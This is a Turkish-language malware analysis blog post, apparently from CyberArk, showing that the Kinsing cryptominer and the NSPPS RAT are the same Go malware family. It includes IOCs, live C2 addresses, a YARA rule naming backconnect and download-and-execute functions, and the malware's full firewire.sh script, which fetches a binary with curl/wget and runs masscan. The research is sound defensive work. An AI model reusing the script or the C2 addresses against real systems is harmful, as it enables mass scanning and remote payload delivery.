Kinsing: İki Yüzü Olan Kötü Amaçlı Yazılım
Kinsing Nedir?
Son zamanlarda, bulut ve konteyner tehditlerinin gelişen alanını araştırmakla meşgulüz. Neden buraya odaklanalım? Çünkü, bu teknoloji daha popüler hale geldikçe ve gelişmeye devam ettikçe, saldırganlar da bu sistemlere sızmak için tekniklerini geliştiriyorlar.
Araştırmamız sırasında, Redis ve SaltStack dahil olmak üzere birden fazla saldırı kampanyasında yer alan bir ELF kötü amaçlı yazılımı olan Kinsing ile karşılaştık . Kinsing, son birkaç yıldır kötü amaçlı yazılım yazarları arasında popülerliği hızla artan nispeten yeni bir dil olan Go dilinde, diğer adıyla Golang’da yazılmıştır.
Birkaç Kinsing örneğini analiz ederken, NSPPS adlı başka bir kötü amaçlı yazılım ailesiyle ilgili bazı eserler bulduğumuza şaşırdık . İlk başta, bu bulguları açıklayabilecek birkaç fikir bulduk – belki de ortak parçalar her iki aile tarafından da kullanılan açık kaynaklı araçlardır veya belki bir grup diğerini taklit ediyordur. Araştırmamızın gösterdiği şey, iki ailenin aslında aynı aile olduğu ve güvenlik araştırma topluluğu tarafından kendisine verilen iki farklı isim olduğudur.
Bu blog yazımızda Kinsing ile NSPPS arasındaki farklılıkları ve benzerlikleri inceleyecek, bulgularımızı sunacak ve bunların aynı kötü amaçlı yazılım ailesi olduğu sonucuna nasıl ve neden vardığımızı açıklayacağız.
NSPPS ve Kinsing Arasındaki Farklar
Araştırmanın başında, Kinsing ve NSPPS’yi tespit etmek için güvenlik firmaları tarafından yayınlanan tüm IOC’leri topladık, kendi YARA kurallarımızı yazdık ve sonuçları topladık. Biraz temizlikten sonra, odaklandığımız birkaç düzine örneğimiz oldu.
Kinsing ve NSPPS’nin 27 örneğinden yalnızca biri NSPPS olarak yayınlandı – 5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6. Diğer 26 örnek Kinsing olarak sınıflandırıldı.
NSPPS örneğini Kinsing örneklerinden ayıran bazı önemli eserler bulduk.
Sürümler ve Tarihler: Sayıları Karşılaştıralım
Öncelikle ve en önemlisi, NSPPS örneği Golang 1.9.7 sürümü kullanılarak yazılmıştır:
Kinsing örnekleri Golang 1.13.4 veya 1.13.6 sürümü kullanılarak yazılmıştır:
Bu fark, her bir örneğin derleme zamanının farklı olduğu anlamına gelebilir; zira en son sürümü kullanmak mantıklı olmakla birlikte gerekli değildir.
Örneklerin derleme zaman damgasını belirlemek, iki aileyi ayırt etme süreci için önemliydi. Ne yazık ki, Windows PE dosyalarının aksine, Linux ELF dosyaları tasarım gereği bir derleme zaman damgasına sahip değildir ve bu da bize eksik bir bilgi parçası daha bırakmaktadır. Neyse ki, Golang kötü amaçlı yazılımı (veya genel olarak konuşursak – Golang ikili dosyaları) varsayılan olarak genellikle bir sürüm numarası içeren Github paketlerini kullanır. Bu, kullandığı en yeni paketin son yayın tarihini hesaplayarak kötü amaçlı yazılım derlemesi için asgari bir tarih belirlemeye yardımcı olur.
Aşağıda Kinsing örnekleri için ortak paketlerin kısmi bir listesi ve yayın tarihleri yer almaktadır:
Package | Version | Release Date |
---|---|---|
go-resty/resty | 2.1.0 | 10/10/2019 |
google/btree | 1.0.0 | 13/08/2018 |
kelseyhightower/envconfig | 1.4.0 | 24/05/2019 |
markbates/pkger | 0.12.8 | 21/11/2019 |
paulbellamy/ratecounter | 0.2.0 | 19/07/2017 |
peterbourgon/diskv | 2.0.1 | 14/08/2017 |
shirou/gopsutil | 2.19.10 | 19/10/2019 |
“ pkger ”ın en son yayın tarihi:
Dolayısıyla 26 Kinsing örneğinin tamamının 21 Kasım 2019’dan sonra derlendiği sonucuna varabiliriz.
Aşağıda NSPPS’nin kullandığı paketlerin kısmi bir listesi bulunmaktadır:
Package | Version | Release Date |
---|---|---|
google/btree | 1.0.0 | 13/08/2018 |
go-resty/resty | 2.1.0 | 10/10/2019 |
kelseyhightower/envconfig | 1.4.0 | 25/05/2019 |
paulbellamy/ratecounter | 0.2.0 | 19/07/2017 |
peterbourgon/diskv | 3.0.0 | 25/04/201 |
Görüldüğü gibi, NSPPS için mümkün olan en erken derleme tarihi 10 Ekim 2019’dur. Bu, Kinsing’den önce derlendiğini düşündürmektedir, ancak durum böyle olmayabilir.
Olmak ya da Olmamak: İşte Fark Bu
Kinsing örneklerinde bulunan ilginç bir eser, aşağıda görüldüğü gibi William Shakespeare’in Hamlet oyununun tam metninin bulunmasıdır:
Bu kanıt daha önce birkaç araştırmacı tarafından yayınlanmıştı. Yaygın varsayım, bunun statik algılama motorları tarafından algılanmayı önlemek veya aynı amaca hizmet eden ikili boyutu artırmak için yapıldığıdır . Bu eser NSPPS örneklerinde mevcut değildir.
İlk bakışta önemli bir fark gibi görünüyor – belki Kinsing yazarları kötü amaçlı yazılımlarını gizlemeye NSPPS yazarlarından daha fazla dikkat etmiş olabilir. Ancak biraz daha derine indiğimizde başka bir açıklama bulduk. Hamlet oyununun Kinsing içindeki yerini kontrol ettiğimizde, ikili dosyanın diğer dizeleri arasında veri bölümünde var olmaktan ziyade, buna dair bazı referanslar var:
Daha sonra ilgili fonksiyona bakalım:
Bu fonksiyonun adı github.com.markbates.pkger.internal.takeon.github.com.markbates.hepa.filters olup anlamı şudur: “ markbates tarafından yazılan ve Github’a yüklenen hepa paketindeki filtreler dosyasında bulunan, fakat aslında markbates tarafından yazılan ve Github’a yüklenen pkger paketine de gömülen bir fonksiyon.”
Ve beklendiği gibi:
(Ve tabii ki 0.12.8 sürümünü kontrol etmeyi unutmayın , çünkü bu parça o tarihten sonra yazar tarafından kaldırıldı.)
Hepa paketini analiz ederken, Hamlet’in amacını anladık – bir tamponun gizli kısımlarını gizlemek için kullanılır. Örneğin, bilgeliğinizi dünyayla paylaşmak için yararlı AWS betiğinizi GitHub’a yüklemek istediğinizi varsayalım, ancak daha sonra gizli AWS anahtarlarınızı içeren tüm kısımları kaldırıp kaldırmadığınızdan emin değilsiniz. Bu durumda, parolayla ilgili bilgileri otomatik olarak arayan ve kaldıran bir araç kullanabilirsiniz. Jetonunuzu Hamlet’ten güçlü bir ifadeyle değiştirmenin ne kadar harika olacağını düşünün!
Şimdi, muhtemelen fark ettiğiniz gibi, pkger paketi NSPPS’nin paketlerinden biri olarak listelenmemiş, dolayısıyla Hamlet’in NSPPS’de yer almaması yalnızca kripto madenciliği faaliyetinin bir parçası olarak kullanılan bu paketin yokluğuyla ilgilidir ( bunun hakkında daha sonra daha fazla bilgi vereceğiz).
Sonuç olarak, Hamlet büyük ve anlamlı bir oyun olarak kabul edilse de (veya kabul edilmese de?), karşılaştırmamızda anlamlı bir kanıt değildir. Aksine, diğer daha önemli unsurların bir yan etkisidir.
Para nerede?
Kinsing örnekleriyle ilgili raporları okuduğunuzda, Kinsing’in amacının Aqua Security’den alınan bu diyagramda gösterildiği gibi kdevtmpfsi adlı bir cryptoMiner yüklemek olduğu açıktır :
Kinsing örneklerinin koduna baktığımızda, kripto madenciliği aktivitesiyle ilgili birçok fonksiyon buluyoruz:
Bu fonksiyonlar kodun gerçek main fonksiyonu olan main.main’den çağrılır .
NSPPS örneğinde, kontroller ve eylemler dahil olmak üzere kripto madenciliği faaliyetiyle ilgili tüm kodlar eksiktir. Bu, iki araç arasındaki önemli bir farktır: kripto madenciliği işlevi, Kinsing kötü amaçlı yazılımının amacının kurban sisteme bir kripto madenci kurmak olduğunu öne sürerken, NSPPS kötü amaçlı yazılımının amacı RAT işlevi sağlamaktır.
NSPPS ve Kinsing – Benzerlikler
Kinsing ve NSPPS arasında onları tamamen farklı kötü amaçlı yazılım aileleri gibi gösteren birkaç fark bulmamıza rağmen, küçük bir ses bize aynı aileden olduklarını kanıtlayacağımıza söz verdiğimizi hatırlatıyor. Aşağıda bu benzerliklerden bazıları yer almaktadır.
Herkes İçin Masscan
Tüm örneklerde kendini tekrarlayan bir özellik, Masscan aracının kullanımıdır – daha spesifik olarak, Masscan’ın aynı şekilde kullanılması. Hem Kinsing hem de NSPPS kötü amaçlı yazılımları, main.masscan işlevi tarafından yürütülen firewire.sh adlı gömülü, açık metinli bir bash betiği içerir . Bu işlev betiği diske yazar, modunu yürütülebilir olarak değiştirir ve ardından çalıştırır.
Ek B’de firewire.sh betiğinin tamamını görün .
Bunu işleyen main.masscan’deki kod şu şekildedir:
NSPPS için main.masscan fonksiyonu biraz farklıdır (muhtemelen yukarıda belirtilen derleyici farkından dolayı) ancak Kinsing’de görülen aynı WriteFile -> runcmd -> newobject dizisini içerir:
Araştırmamıza göre firewire.sh betiği kamuya açık olarak kullanıma sunulmamış ve Açık Kaynaklı bir araç olarak sunulmamıştır, bu nedenle bu kanıt parçasının sadece bir tesadüf olmadığına inanıyoruz. Bu, iki kötü amaçlı yazılımın yazarları arasında bir bağlantı olduğu veya en azından kaynaklarını paylaştıkları anlamına gelir.
Kod Yapısı
NSPPS’yi analiz ederken, çok basit bir kod yapısına sahip olduğu dikkat çekicidir. Kodun başında, NSPPS üç başlatma işlevini çağırır, ardından sonsuza kadar çalışan bir while döngüsüne girer. Döngü, C2 sunucusundan bir görev ( getTask() ) alır ve onu yürütür ( doTask() ). doTask işlevi içinde, kötü amaçlı yazılım aldığı dizeyi kontrol eder, ardından alınan görevi gerçekleştirmek için doğru işlevi seçer.
Şaşırtıcı bir şekilde, Kinsing’i analiz ettiğimizde, birkaç küçük değişiklik dışında aynı yapıya sahip olduğunu gördük. Ana değişiklik, kripto madenciliğinden sorumlu olan ek bir başlatma işlevidir. Döngünün içindeki iç işlevlerde de bazı küçük değişiklikler vardır.
Bir gösteri için aşağıdaki kod parçacıklarına bakın:
Kinsing’in farklı örnekleri arasında da farklılıklar vardır. Örneğin, hepsinde “redis_brute” işlevselliği yoktur ve bazılarında çok daha az işlev vardır.
Az önce tanımladığımız ortak yapıya baktığımızda, iki aile arasındaki ilişkinin artık bir tesadüf veya rastgele bir taklit gibi görünmediğini, daha çok yazarlar arasındaki bir işbirliği, hatta aynı kodun tekrar kullanımı gibi göründüğünü düşünüyoruz.
Şifreleme, Şifreleme, Şifreleme
NSPPS örneği için yaptıkları analizde IronNet , NSPPS tarafından kullanılan bir RC4 anahtarını arayan bir YARA kuralı ekledi. Bu YARA’yı kullanarak ve bu belirli RC4 anahtarını arayarak, içindeki tüm Kinsing örneklerini ve NSPPS örneğini bulduk:
Şekil N. 14: Kinsing RC4 anahtarı
Bu anahtarın XRef’lerini kontrol ederek kullanımını bulduğumuzda, her iki kötü amaçlı yazılım ailesinde de neredeyse aynı işlevler aracılığıyla kullanıldığını görebiliriz.
NSPPS için kullanım:
Kinsing’in Kullanımı:
Tek fark , yalnızca Kinsing örneklerinde bulunan getMinerPid fonksiyonudur , çünkü NSPPS aynı kripto madenciliği işlevselliğine sahip değildir.
Her iki kötü amaçlı yazılımda da RC4 şifrelemesini uygulayan main.RC4 işlevine baktığımızda , iki uygulamanın da pratik olarak aynı olduğunu görüyoruz. Aşağıdaki karşılaştırmaya bakın:
Fonksiyon Adları
Tüm bunlardan sonra göstereceğimiz son şey, bu örneklerin fonksiyon listesidir.
Golang ikili dosyaları, kaynak kod sembollerini koruma özelliğine sahiptir ve bu, orijinal işlev adlarının tüm listesini kullanılabilir hale getirerek bizim durumumuzda işe yarar. İkili dosyalarda kullanılan ve kendi işlevlerini içeren paketleri zaten tartıştık, bu yüzden şimdi kötü amaçlı yazılım yazarı tarafından yazılmış işlevlerle ilgileniyoruz. Bu işlevler main önekiyle tanımlanır ve bunlar bir sonraki karşılaştırmada kullanılanlardır.
NSPPS’nin 63 adet fonksiyonu bulunmaktadır.
Kinsing örnekleri birbirinden biraz farklıdır. Daha önce yayınlanmış rastgele bir Kinsing örneğini karşılaştıralım: b70d14a7c069c2a88a8a55a6a2088aea184f84c0e110678e6a4afa2eb377649f. Bu örnekte yalnızca 59 işlev vardır ( her iki örnek için de işlevlerin tam listesi için Ek C’ye bakın).
Her iki örnekte de ortak 51 işlev adı vardır ve bu da işlevlerin %83’ünü temsil eder. Kinsing’in sekiz benzersiz işlev adı ve NSPPS’in 12 benzersiz işlev adı vardır. Kinsing’in benzersiz işlevleri kripto madenciliğiyle ilgiliyken NSPPS’in benzersiz işlevleri çoğunlukla RAT ile ilgilidir. Bundan, kodun büyük bir bölümünün aynı şekilde adlandırıldığını öğreniyoruz; bu da her iki örneği de aynı yazarın yazdığı veya yazarlardan birinin diğerinden kopyaladığı anlamına geliyor.
Çözüm
Hem NSPPS’yi hem de Kinsing’i sunduk ve aralarındaki farkları tartıştık: Golang sürümleri, paketler, Hamlet oyun betiği ve kripto madenciliği faaliyeti. Ayrıca iki ailenin benzerliklerini de sunduk: Firewire.sh adlı Masscan betiği, paylaşılan kod yapısı, RC4 anahtarı ve işlev adları.
Yukarıdakilerin hepsi her iki kötü amaçlı yazılımın da aynı aileyi temsil ettiğini gösteriyor. İlk sürümün Kasım 2019’dan önce derlendiğine, NSPPS olarak adlandırıldığına ve RAT olarak kullanıldığına inanıyoruz. Daha sonra kötü amaçlı yazılım bazı yeni paketlerle (markbates\pkger gibi), yeni işlevlerle (cryptomining yetenekleri), yeni Shakespeare ilhamıyla güncellendi ve diğer güvenlik şirketleri tarafından Kinsing olarak adlandırıldı.
Zararlı yazılımın kullanım amacı ve kullanımı değişse de araştırmacılar olarak, eski sürümlerden edindiğimiz bilgileri kullanarak analiz ve tespiti çok daha kolay ve hızlı hale getirebildiğimizden, zararlı yazılımlar arasındaki benzerliklerden hâlâ faydalanabiliyoruz.
VirusTotal Üzerinden Tespit Hakkında Bir Not
Kinsing eserlerinden bazılarını imzalarken ve yeni örnekler ararken, Kinsing’in kodunun bir kısmını açıkça içeren ancak yürütülebilir dosyalar olarak hasar görmüş ve düzgün ELF olarak çalıştırılamayan birkaç düzine dosya bulduk. Daha detaylı inceleme, bu dosyaların yalnızca başka bir örneğin bir parçası olduğunu, yani birinin örneği kesip VirusTotal’a yüklediğini anlamamıza yardımcı oldu. Örneğin, d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b örneği, 16,87 MB uzunluğunda bilinen bir Kinsing örneğidir ve 19 Haziran 2020’de VirusTotal’e yüklenen a51a4398dd7f11e34ea4d896cde4e7b0537351f82c580f5ec951a8e7ea017865 dosyası, bazı AV satıcıları tarafından Kinsing olarak tespit edilmiştir, ancak aslında son örneğin yalnızca ilk 4,84 MB’ıdır.
Bu kısmi örnekler, kötü amaçlı yazılımın farklı bölümlerini AV motorlarına karşı test etmeye çalışan bir saldırgan veya kodun bölümlerini inceleyen bir güvenlik araştırmacısı olabilir. Bu nedenle, yalnızca uygun ELF’leri tespit etmek için, yalnızca bölüm başlık boyutlarının toplamının tüm dosyanın boyutuyla eşleştiği dosyaları eşleştirmek için bir koşul eklenmelidir (aşağıdaki YARA kuralına bakın).
Ek A: IOC’ler ve YARA
IOCs:
Indicator | Type |
---|---|
0b0aa978c061628ec7cd611edeec3373d4742cbda533b07a2b3eb84a9dd2cb8a | Sha256 |
0c811140be9f59d69da925a4e15eb630352fa8ad4f931730aec9ae80a624d584 | Sha256 |
2132d7bed60fda38adda28efdbbd2df2c9379fed5de2e68fc6801f5621b596b0 | Sha256 |
4b0138c12e3209d8f9250c591fcc825ee6bff5f57f87ed9c661df6d14500e993 | Sha256 |
4f4e69abb2e155a712df9b3d0387f9fb2d6db8f3a2c88d7bbe199251ec08683f | Sha256 |
5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6 | Sha256 |
511de8dd7f3cb4c5d88cd5a62150e6826cb2f825fa60607a201a8542524442e2 | Sha256 |
554c233d0e034b8bb3560b010f99f70598f0e419e77b9ce39d5df0dd3bc25728 | Sha256 |
655ee9ddd6956af8c040f3dce6b6c845680a621e463450b22d31c3a0907727e4 | Sha256 |
6814d22be80e1475e47e8103b11a0ec0daa3a9fdd5caa3a0558d13dc16c143d9 | Sha256 |
681f88d79c3ecab8683b39f8107b29258deb2d58fcea7b0c008bab76e18aa607 | Sha256 |
6e8c96f9e9a886fd6c51cce7f6c50d1368ca5b48a398cc1fedc63c1de1576c1e | Sha256 |
7727a0b47b7fd56275fa3c1c4468db7fa201c788d1e56597c87deaff45aad634 | Sha256 |
7f9f8209dc619d686b32d408fed0beb3a802aa600ddceb5c8d2a9555cdb3b5e0 | Sha256 |
8c9b621ba8911350253efc15ab3c761b06f70f503096279f2a173c006a393ee1 | Sha256 |
98d3fd460e56eff5182d5abe2f1cd7f042ea24105d0e25ea5ec78fedc25bac7c | Sha256 |
9fbb49edad10ad9d096b548e801c39c47b74190e8745f680d3e3bcd9b456aafc | Sha256 |
a0363f3caad5feb8fc5c43e589117b8053cbf5bc82fc0034346ea3e3984e37e8 | Sha256 |
a5b010a5dd29d2f68ac9d5463eb8a29195f40f5103e1cc3353be2e9da6859dc6 | Sha256 |
b44dae9d1ce0ebec7a40e9aa49ac01e2c775fa9e354477a45b723c090b5a28f2 | Sha256 |
b70d14a7c069c2a88a8a55a6a2088aea184f84c0e110678e6a4afa2eb377649f | Sha256 |
c44b63b1b53cbd9852c71de84ce8ad75f623935f235484547e9d94a7bdf8aa76 | Sha256 |
c9932ca45e952668238960dbba7f01ce699357bedc594495c0ace512706dd0ac | Sha256 |
ccfda7239b2ac474e42ad324519f805171e7c69d37ad29265c0a8ba54096033d | Sha256 |
d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b | Sha256 |
db3b9622c81528ef2e7dbefb4e8e9c8c046b21ce2b021324739a195c966ae0b7 | Sha256 |
f2e7244e2a7d6b28b1040259855aeac956e56228c41808bccb8e37d87c164570 | Sha256 |
104.248.3.165 | C2 |
139.99.50.255 | C2 |
185.61.7.8 | C2 |
188.120.254.224 | C2 |
193.33.87.220 | C2 |
195.123.220.193 | C2 |
45.10.88.102 | C2 |
46.229.215.164 | C2 |
46.243.253.167 | C2 |
47.65.90.240 | C2 |
62.113.112.127 | C2 |
67.205.161.58 | C2 |
91.215.169.111 | C2 |
YARA:
import “elf”
rule Kinsing_Malware
{
meta:
author = “Aluma Lavi, CyberArk”
date = “22-01-2021”
version = “1.0”
hash = “d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b”
description = “Kinsing/NSPPS malware”
strings:
$rc4_key = { 37 36 34 31 35 33 34 34 36 62 36 31 }
$firewire = “./firewire -iL $INPUT –rate $RATE -p$PORT -oL $OUTPUT”
$packa1 = “google/btree” ascii wide
$packa2 = “kardianos/osext” ascii wide
$packa3 = “kelseyhightower/envconfig” ascii wide
$packa4 = “markbates/pkger” ascii wide
$packa5 = “nu7hatch/gouuid” ascii wide
$packa6 = “paulbellamy/ratecounter” ascii wide
$packa7 = “peterbourgon/diskv” ascii wide
$func1 = “main.RC4” ascii wide
$func2 = “main.runTaskWithScan” ascii wide
$func3 = “main.backconnect” ascii wide
$func4 = “main.downloadAndExecute” ascii wide
$func5 = “main.startCmd” ascii wide
$func6 = “main.execTaskOut” ascii wide
$func7 = “main.minerRunningCheck” ascii wide
condition:
(uint16(0) == 0x457F
and not (elf.sections[0].size + elf.sections[1].size + elf.sections[2].size + elf.sections[3].size + elf.sections[4].size + elf.sections[5].size + elf.sections[6].size + elf.sections[7].size > filesize))
and ($rc4_key
or $firewire
or all of ($packa*)
or 4 of ($func*)
)
}
Appendix B: Firewire.sh Script
#!/bin/sh
PORT=$1
RATE=$2
INPUT=$3
OUTPUT=$4
MASSCAN=$5cat /etc/os-release | grep -vw grep | grep “rhel” >/dev/null
if [ $? -eq 0 ]
then
rpm -qa | grep libpcap-dev > /dev/null
if [[ $? -eq 0 ]]; then
echo “Package is installed rhel!”
else
echo “Package is NOT installed rhel!”
yum -y update
yum -y install libpcap-devel
fi
else
if [ $(dpkg-query -W -f=’${Status}’ libpcap-dev 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
echo “Package is NOT installed deb!”
apt-get update
apt-get install -y libpcap-dev
else
echo “Package is installed deb!”
fi
fiif [ -x “$(command -v md5sum)” ]; then
sum=$(md5sum firewire | awk ‘{ print $1 }’)
echo $sum
case $sum in
45a7ef83238f5244738bb5e7e3dd6299)
echo “firewire OK”
;;
*)
echo “firewire wrong”
(curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
;;
esac
else
echo “No md5sum”
(curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
fichmod +x firewire
./firewire -iL $INPUT –rate $RATE -p$PORT -oL $OUTPUT 2>/dev/null
if [ $? -eq 0 ]
then
echo “success”
else
echo “fail”
sudo ./firewire -iL $INPUT –rate $RATE -p$PORT -oL $OUTPUT 2>/dev/null
if [ $? -eq 0 ]
then
echo “success2”
else
echo “fail2”
fi
fi
Appendix C: NSPPS & Kinsing Function list
NSPPS | Kinsing |
---|---|
DownloadFile | DownloadFile |
ExecOutput | ExecOutput |
Hosts | Hosts |
Pid | |
RC4 | RC4 |
RandStringRunes | RandStringRunes |
Result | Result |
SetSocks | SetSocks |
Specification | Specification |
TargetsWrapper | TargetsWrapper |
Task | Task |
TaskPair | TaskPair |
addResult | addResult |
backconnect | |
checkHealth | checkHealth |
connectForSocks | connectForSocks |
contains | contains |
copyFileContents | |
doRequestWithTooManyOpenFiles | |
doTask | doTask |
downloadAndExecute | |
encStruct | encStruct |
execTask | execTask |
execTaskOut | execTaskOut |
getActiveC2CUrl | |
getMinerPid | |
getOrCreateListForTaskResult | getOrCreateListForTaskResult |
getOrCreateRateCounterForTask | getOrCreateRateCounterForTask |
getOrCreateUuid | getOrCreateUuid |
getTargets | getTargets |
getTask | getTask |
getWriteableDir | getWriteableDir |
go | go |
hash_file_md5 | hash_file_md5 |
healthChecker | healthChecker |
inc | inc |
init | init |
isMinerRunning | |
main | main |
makeClient | |
masscan | masscan |
minRun | |
minerRunningCheck | |
move | move |
randIntRange | randIntRange |
redisBrute | |
request | |
resultSender | resultSender |
runTask | runTask |
runTaskWithHttp | |
runTaskWithScan | |
runcmd | runcmd |
sendMinerPid | |
sendResult | sendResult |
sendSocks | sendSocks |
setActiveC2CUrl | setActiveC2CUrl |
setExecOutput | setExecOutput |
setLog | setLog |
setUuid | setUuid |
socks | socks |
startCmd | startCmd |
startCmdWithOutputSingle | |
startSocks | startSocks |
syncCmd | syncCmd |
taskScan | taskScan |
taskWithHttpWorker | |
taskWithScanWorker | |
taskWorker | taskWorker |
tcpTask | |
updateTask | updateTask |
writable | writable |